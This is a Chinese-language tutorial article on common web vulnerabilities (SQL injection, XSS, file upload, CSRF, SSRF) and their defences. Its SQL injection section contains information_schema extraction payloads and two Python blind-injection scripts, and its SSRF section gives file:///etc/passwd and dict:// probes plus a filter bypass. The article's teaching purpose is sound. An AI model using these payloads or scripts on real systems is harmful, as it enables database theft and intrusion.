浅析常见WEB安全漏洞及其防御措施

文章正文
发布时间:2024-08-26 04:12

在网络攻防中,Web系统通常是攻击者的首选目标,攻击者大都通过Web打点的方式,先拿到边界Web服务器的权限,再以此为跳板实施内网横向渗透。由于Web系统通常涉及大量的用户数据和敏感信息,一旦受到攻击或破坏,可能造成数据泄露、服务中断等影响。

相较于攻击方,Web系统也是防守方的重点防护对象。作为安全开发或安全运营人员,及早发现和修复潜在的WEB安全漏洞,不仅有助于提高互联网业务系统的稳定性,也能降低后期安全运营工作的压力和成本。

二 本文目的

基于在某单位的实习经历以及日常工作学习总结,本文从安全攻防的角度针对常见Web漏洞的攻击原理、潜在危害和防御措施进行归纳,以期帮助安全开发或安全初学者更好地理解、应对和预防Web应用中可能出现的安全问题。

1708501893_65d5ab850931c1c4aaff2.png!small?1708501893360

三 Web漏洞1 SQL注入

1.1 漏洞简介

SQL注入漏洞的本质是应用程序未能充分验证和过滤用户提供的输入数据,导致攻击者能够将恶意SQL代码注入到应用程序的SQL查询中,从而执行未经授权的数据库操作。

> 根本成因:后台对用户输入参数未进行任何处理,直接代入SQL语句执行。

> 常见危害:数据库的信息泄露、添加系统账号、读/写文件获取Webshell等。

1708477233_65d54b3164c9d839e8912.png!small?1708477233744

1708477271_65d54b57275d52397a97a.png!small?1708477271700

1.2 漏洞分类

针对SQL注入的分类没有固定的规范,可从不同的维度分为不同的类型,如:基于注入参数类型、基于请求提交方式、基于获取信息方式等。(备注:推荐第三种分类方式,更完备)。

> 基于注入参数类型的不同,可将SQL注入分为:数字型的注入、字符型的注入。

> 基于请求提交方式的不同,可将SQL注入分为:GET注入、POST注入等类别。

> 基于获取信息方式的不同,可将SQL注入分为:有回显的注入、无回显的注入。

有回显的注入:联合查询注入、基于报错注入。

无回显的注入:基于布尔盲注、基于时间盲注。

其它类型注入:堆叠注入、二次注入、宽字节。

1 有回显的注入

(1) 基于联合查询的注入:攻击者利用UNION 操作符,将恶意查询与应用程序原始查询合并,从而获取额外的数据库信息。攻击者通过不断尝试联合查询,可逐步获取数据库内容。

针对数据库的SQL注入攻击,其常规步骤是:首先通过order by或select null获取返回数据的列数和位置,其次从information_schema表中查询当前数据库的表信息、表的字段信息、以及字段对应的数据。

# 查数据库中的表

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

# 查指定表的字段,如:students

payload = "select group_concat(column_name) from information_schema.columns where table_name='students'"

# 查指定字段的值,如:username

payload = "select username from students"

(2) 基于报错的注入:利用应用程序返回的错误消息来获取数据库信息。攻击者通过构造恶意输入,触发SQL错误,进而从错误消息中收集敏感信息,如表名、列名或等。

2 无回显的注入

(1) 基于时间的盲注:该类型的注入不会直接返回数据,而是利用延迟函数(如:SLEEP)判断SQL查询是否成功执行。攻击者通过观察响应时间来推断注入是否成功,从而逐步获取数据。

核心语句:

1' and if(substr(({payload}),{i},1)='{j}',sleep(5),1)--+

参数简介:payload(获取数据库敏感信息的SQL查询语句),i(当前遍历的字符下标),j(目标字符)

功能描述:逐个遍历返回的字符串,如果匹配了目标字符,则整个查询会sleep五秒,否则直接返回。

#coding=utf-8 import requests import string table = string.digits + string.ascii_lowercase + string.ascii_uppercase + ' {}_-<>?' print(table) result ='' for i in range(1, 45): for j in table: start = time.time() url = "http://xxxx.com/test.php" # 查数据库中的表 payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 查指定表的字段,如:students payload = "select group_concat(column_name) from information_schema.columns where table_name='students'" # 查指定字段的值,如:username payload = "select username from students" data = { 'id': f" 1' and if(substr(({payload}),{i},1)='{j}',sleep(5),1)--+", #存在注入点的参数 'debug':'0' } r = requests.post(url, data=data, timeout=1) end = time.time() if end - start > 5: result += j print(result) break

(2) 基于布尔的盲注:同”基于时间的盲注“一样,该类型的注入也不会直接返回数据。攻击者利用布尔逻辑来判断SQL查询是否成功执行,并通过观察应用程序的响应(TRUE:正常返回,FALSE:没有返回)以推断数据库信息。

核心语句:

1' andif(substr(({payload}),{i},1)='{j}')--+

参数简介:payload(获取数据库敏感信息的SQL查询语句),i(当前遍历的字符下标),j(目标字符)

功能描述:逐个遍历返回的字符串,如果匹配了目标字符,则and右侧结果为TRUE,否则为FALSE。

#coding=utf-8 import requests import string table = string.digits + string.ascii_lowercase + string.ascii_uppercase + ' {}_-<>?' print(table) result ='' for i in range(1, 45): for j in table: start = time.time() url = "http://xxxx.com/test.php" # 查数据库中的表 payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 查指定表的字段,如:students payload = "select group_concat(column_name) from information_schema.columns where table_name='students'" # 查指定字段的值,如:username payload = "select username from students" data = { 'id': f" 1' and if(substr(({payload}),{i},1)='{j}','username',1)--+", #存在注入点的参数 'debug':'0' } r = requests.post(url, data=data, timeout=1) if "xxxxx" in r.text: result+=j print(result) break

3 其它类型注入

(1) 堆叠注入:该类型允许攻击者在一次注入中执行多个SQL查询,从而实现更复杂的攻击。其中,攻击者可以在原始查询后面添加多个SQL语句,以执行各种操作。

(2) 二次注入:攻击者首先将恶意输入提交给应用程序,但不会立即执行SQL查询。相反,应用程序可能会将输入存储在数据库中,然后在后续请求中使用。攻击者在后续请求中利用存储的恶意输入来触发SQL注入。

(3) 宽字节注入:该类型是一种特定类型的字符编码注入,通常与多字节字符集一起使用,例如UTF-8。其中,该类型的注入攻击通常涉及将特殊编码字符插入到输入中,以绕过输入过滤和验证,然后执行恶意操作。

1.3 防御策略

输入参数的过滤:对于用户输入数据,进行严格的验证和过滤,只允许合法和预期的字符通过。相对而言,建议使用白名单机制,以确保只有有效的数据进入数据库。

使用参数化查询:使用参数化查询语句(Prepared Statements,即:预编译语句)是防止SQL注入的首选方法。该方法可将用户的输入数据作为参数传递给SQL查询,而不是将其嵌入到SQL语句中,即确保输入数据不会被解释为SQL代码,从而可阻止SQL注入攻击。

最小权限的原则:数据库用户应该被授予最小的权限,以执行需要的操作。这样,即使发生了SQL注入,攻击者也只能访问被允许的数据和操作,无法对整个数据库进行攻击。

2 XSS漏洞

2.1 漏洞简介

XSS漏洞的本质是源于应用程序未能充分过滤或转义用户提供的输入数据,使攻击者能够将恶意脚本注入到Web页面上,然后在受害者的浏览器中执行这些脚本。该漏洞发生在客户端,控制用户浏览器的一种攻击。

1708477575_65d54c87204fe3ab24191.png!small?1708477575625

XSS漏洞之所以危险,是因为它允许攻击者在受害者的浏览器中执行恶意JavaScript代码,其常见危害包括: 窃取Cookie 、JS恶意挖矿、广告刷流量、 XSS蠕虫等。总的来说,凡是JavaScript脚本能执行的功能,都可被XSS漏洞利用。

(1) 窃取Cookie:攻击者可以通过XSS漏洞窃取用户的Cookie信息,Cookie通常包含用户的会话标识。其中,攻击者获取该会话标识后,可以冒充用户执行未经授权的操作。

(2) JS恶意挖矿:攻击者可以通过XSS漏洞注入JavaScript代码,使受害者的浏览器在访问受感染页面时开始挖取加密货币,从而消耗受害者的计算资源,让其电脑变得缓慢。

(3) 广告刷流量:攻击者可以通过XSS漏洞来自动触发广告点击,以获取广告费用或增加广告点击量。其中,这种恶意行为可能对广告主和广告平台造成经济损失。

(4) XSS蠕虫:攻击者可以通过XSS漏洞注入恶意JavaScript脚本,该脚本可以自动传播到其他用户,形成XSS蠕虫。这种蠕虫可以在用户之间传播,并导致更广泛的攻击。

2.2 漏洞分类

根据攻击类型和漏洞执行的不同,XSS漏洞主要分为以下三种类型:反射型XSS(Reflected XSS)、存储型XSS(Stored XSS)、DOM型XSS(DOM-based XSS)。

1、反射型XSS:反射型XSS是指在用户的请求中注入恶意脚本,然后这些脚本在服务器上被反射回来,最终在受害者的浏览器中执行。其中,攻击者通常需要引诱受害者点击特定链接或访问恶意网站才能触发漏洞。

1708477662_65d54cdebc9fe37dca062.png!small?1708477663240

> 注入的恶意代码通过浏览器传入到服务器后,又被目标服务器反射回来,在浏览器中解析并执行。

> 黑客需要诱使用户点击恶意链接,才能攻击成功。恶意代码会经过服务器,但不存储到数据库中。

2、存储型XSS:存储型XSS是指攻击者将恶意脚本注入到应用程序的数据库或存储中,这些脚本会被存储并在后续访问受害者的页面时执行。其中,这种类型的XSS漏洞通常用于攻击社交媒体、留言板、博客等需要存储用户输入的应用。

1708477692_65d54cfca93eea75410e2.png!small?1708477693201

> 攻击者将恶意代码传入到服务器后,将被永久存放在目标服务器的数据库或存储中。
> 用户访问存在漏洞的页面就会触发恶意代码执行,一般无需诱使用户点击恶意链接。

3、DOM型XSS:DOM型XSS漏洞发生在浏览器的客户端,而不是在服务器上。攻击者通过修改页面上的DOM结构,来触发漏洞。其中,该漏洞通常不会向服务器发送恶意脚本,通常难以检测和防御。

1708477713_65d54d111fb2e1e8e8a9a.png!small?1708477713447

> 通过修改页面的DOM节点形成的XSS漏洞,这是客户端脚本自身解析不正确导致的安全问题。
> 与反射型和存储型XSS的区别是,DOM型XSS的攻击代码不会与后台交互、流量不经服务端。

2.3 防御策略

输入过滤:过滤用户输入,删除或禁用可能包含恶意代码的标签、脚本和特殊字符。同时,可对用户输入的数据进行验证,包括检查数据类型、长度和格式等,只接受合法的输入。

输出编码:在输出数据到HTML页面时,应该对其进行适当的编码,目的是防止浏览器将用户输入解释为可执行的脚本。其中,不同的输出位置应采用不同的编码方式,如:HTML编码、JS编码、CSS编码等。

内容安全策略(CSP):相对而言,CSP是一种有效的防御XSS漏洞的方法。其中,CSP允许定义哪些来源的内容可以被加载和执行,从而可限制恶意脚本的执行。

HttpOnly和Secure标志:对于Cookie,使用HttpOnly标志可以防止JavaScript访问它们,从而减少了对会话Cookie的窃取风险。同时,在敏感数据传输时可使用Secure标志,确保只在安全的HTTPS连接下传输Cookie。

3 文件上传

3.1 漏洞简介

文件上传漏洞的本质是应用程序未能验证和限制上传文件的类型、大小和位置,导致攻击者可以上传包含恶意代码的文件,从而对服务器和应用程序构成威胁。其中,文件上传漏洞可能导致以下危害:

1708477859_65d54da31021a9c692a0e.png!small?1708477859479

(1) 恶意文件执行:攻击者可以上传包含恶意代码的文件,该文件可以在服务器上执行任意命令,从而接管服务器的控制权限。即:WebShell。

(2)  拒绝服务攻击:攻击者可以上传大型文件,消耗服务器资源,导致服务器性能下降或完全停机,从而影响正常服务。

(3) 恶意文件传播:攻击者可以上传包含恶意软件的文件,然后通过应用程序分享链接或下载链接,将恶意文件传播给其他用户。

(4) 敏感数据泄漏:如果攻击者能够上传文件到应用程序的敏感目录,他们可能会访问和窃取敏感数据,如数据库备份文件或配置文件。

3.2 防御策略

文件类型白名单:应用程序应限制允许上传的文件类型,只接受符合要求的文件类型,例如:图像、文档或压缩文件,同时以白名单形式对扩展名进行校验。

文件大小限制:应用程序应限制上传文件的大小,以防止攻击者上传过大的文件来消耗服务器资源。同时,服务器也应配置合适的请求大小限制。

文件名随机化:在保存上传文件时,将文件名随机生成,而不是使用原始文件名。这可以防止攻击者尝试上传恶意文件并覆盖现有文件。

隔离上传文件:上传的文件应该保存在与应用程序代码和数据分离的目录中,以防止攻击者通过上传的文件访问敏感数据或执行代码。如:限制目录下文件的执行权限、

如上所述,针对文件上传漏洞的防御策略主要包括限制文件类型、文件大小、文件名随机化以及隔离上传文件等措施。其中,尽管文件类型和大小的验证机制可以在客户端(通过JavaScript)或服务器端完成,但客户端验证容易受到绕过,因此服务器端验证至关重要。

4 CSRF漏洞

4.1 漏洞简介

CSRF漏洞(Cross-Site Request Forgery,跨站请求伪造)的本质是利用用户已经通过身份验证的会话来执行未经授权的操作。其中,在CSRF攻击中,攻击者通过伪装成合法用户的请求,可诱使受害者在不知情的情况下执行了意外的操作,如:更改密码、发起金融交易、删除帐户等。

> 受害者的行为:用户在当前已经登录的WEB应用程序上执行非本意操作。

> 攻击者的行为:欺骗浏览器,让其以受害者的名义执行自己想要的操作。

1708477947_65d54dfb30c9a24a4daa3.png!small?1708477947844

与XSS攻击的对比
> 相同点:二者都在客户端执行恶意代码。
> 不同点:XSS攻击主要以窃取用户身份凭证(Cookie)为目的,而CSRF不会窃取用户身份凭证,只是借用了用户身份凭证发起恶意请求。

4.2 防御策略

CSRF令牌:CSRF令牌是一种有效的防御策略。其中,在表单提交或敏感操作的请求中包含一个随机生成的CSRF令牌,服务器在接收请求时验证令牌的有效性,如果令牌无效或丢失,则拒绝请求。

Referer检查:检查HTTP头中的Referer字段,确保请求来自合法的来源。其中,该方法有一定限制,因为某些浏览器可能会禁用或不提供Referer头。

同源策略:同源策略是浏览器的基本安全机制之一,它限制了网页中的JavaScript代码只能与来源相同的服务器进行通信。通过强制同源策略,可以有效阻止跨站请求伪造攻击。

图形验证码:在敏感操作处,添加图形验证码。虽然该机制可有效防御CRSF攻击,但需要综合考虑用户体验问题。

相对而言,CSRF令牌是比较推荐的一种机制,不容易被绕过,且不会影响用户体验。其中,Token要足够随机,每次请求成功后要更新Token,防御被攻击者预测。同时要注意Token的保密性,在敏感操作使用Post而非GET,防止Token出现在URL中。

5 SSRF漏洞

5.1 漏洞简介

SSRF漏洞(Server-Side Request Forgery,服务端请求伪造)允许攻击者通过伪造请求,使目标服务器发起与应用程序本身有关的请求,从而可能导致各种安全问题。

1708478026_65d54e4a09dbf23d90143.png!small?1708478026542

通常情况下,SSRF攻击的目标是从外网无法访问的内部系统,可能导致敏感数据泄露(读取服务端的本地文件)、内网端口扫描探测、攻击内网WEB服务等问题。其中,在对内网攻击时,其通常利用的伪协议有:dict协议、file协议、gopher协议等。

> dict协议扫描内网端口 ?url=dict://127.0.0.1:22

> 通过file协议查看文件  ?url=file:///etc/passwd

5.2 防御策略

输入验证和白名单控制:对于用户提供的URL或参数,进行严格的输入验证和过滤,只允许合法和可信任的URL进入应用程序,即:基于白名单机制来限制允许的URL或IP地址。

禁用危险的协议和端口:限制应用程序对危险协议和资源的访问,如:禁用不必要的协议和端口(仅允许HTTP或HTTPS协议、禁用file、dict、gopher等伪协议,仅允许80 443等常规WEB端口),限制文件系统访问权限等。

限制重定向和URL跳转:攻击者通常会利用重定向或URL跳转的方式,绕过SSRF防御机制。因此,应避免在应用程序中允许用户控制的跳转和重定向,或者限制它们的用途。

比如:假如服务端通过判断是否包含关键字127.0.0.1来限制访问目标,则可通过URL跳转(互联网短地址服务)的方式进行绕过。

那么,可基于URL跳转的方式进行绕过:利用短地址服务(如:)对目标地址进行压缩,生成短地址,从而绕过服务端的SSRF检测。

网络和主机层环境隔离:将应用程序部署在受控的网络环境中,限制其对内部网络的访问权限。其中,该方式可通过网络层或主机层面的防火墙实现。

总的来说,针对SSRF漏洞,应综合采用多层次的防御策略,以免被攻击者绕过。其中,以上防护策略可相互作用,从整体上降低SSRF攻击的潜在风险。

四 总结归纳

整体而言,一切输入都是有害的,输出也不安全!Web安全问题的核心是输入输出的问题,非法的输入未经严格编码、过滤、验证,以及随意的输出,都会引入各种安全问题。

本文从安全攻防的角度针对常见WEB漏洞的原理和防护措施进行了总结,涵盖SQL注入、XSS漏洞、文件上传、CSRF漏洞、SSRF漏洞等,以期帮助各位更好地理解漏洞原理、潜在危害以及如何采取有效措施进行防护。

五 参考内容

1.https://blog.nsfocus.net/web-vulnerability-analysis-coding-security/
2.https://cloud.tencent.com/developer/article/1728656
3.https://zhuanlan.zhihu.com/p/91819069
4.https://cloud.tencent.com/developer/article/2103240